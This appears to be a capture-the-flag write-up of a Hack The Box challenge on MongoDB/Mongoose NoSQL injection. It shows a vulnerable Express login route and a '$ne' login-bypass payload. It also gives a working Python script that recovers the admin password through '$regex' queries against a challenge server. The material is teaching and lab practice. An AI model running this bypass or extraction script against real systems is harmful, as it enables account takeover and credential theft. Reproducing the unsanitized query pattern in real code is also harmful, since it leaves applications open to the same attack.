MongoDB Injection (NoSQL) with Mongoose

November 6, 2024

The login page of the website is vulnerable to MongoDB Injection. We can inject a MongoDB query to bypass the login. This is how to login function is implemented:

const mongoose = require('mongoose');
const Schema   = mongoose.Schema;

let User = new Schema({
	username: {
		type: String
	},
	password: {
		type: String
	}
}, {
	collection: 'users'
});

module.exports = mongoose.model('User', User);

And the index.js file:

const express = require('express');
const router  = express.Router();
const User    = require('../models/User');

router.get('/', (req, res) => {
	return res.render('index');
});

router.post('/api/login', (req, res) => {
	let { username, password } = req.body;

	if (username && password) {
		return User.find({ 
			username,
			password
		})
			.then((user) => {
				if (user.length == 1) {
					return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` });
				} else {
					return res.json({logged: 0, message: 'Login Failed'});
				}
			})
			.catch(() => res.json({ message: 'Something went wrong'}) );
	}
	return res.json({ message: 'Invalid username or password'});
});

module.exports = router;

We can inject a MongoDB query to bypass the login.

username=admin&password[$ne]=123

This will inject a MongoDB query to find a user with a username of 'admin' and a password that is not '123'. We'll get the response:

{ "logged": 1, "message": "Login Successful, welcome back admin." }

Now we will bruteforce the password from the database with a regex poc:

import requests
import string
import json
import sys

url = "http://94.237.52.225:50054/api/login"
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def extract_password():
    params = {"username":"admin", "password[$regex]":""}
    password = "^HTB{"
    while True:
        for c in possible_chars:
            params["password[$regex]"] = password + c + ".*"
            pr = requests.post(url, data=params, verify=False)
            data_raw = json.loads(pr.text)
            data = json.dumps(data_raw)
            if "Login Successful" in data:
                password += c
                # Output the current password to stdout
                sys.stdout.write("\r" + password[1:].replace("\\", ""))
                sys.stdout.flush()
                break
        if c == possible_chars[-1]:
            break
    print("\nFound password: " + password[1:].replace("\\", ""))

extract_password()

Try it yourself

You can try it yourself with the following Hack The Box machine:

HTB Machine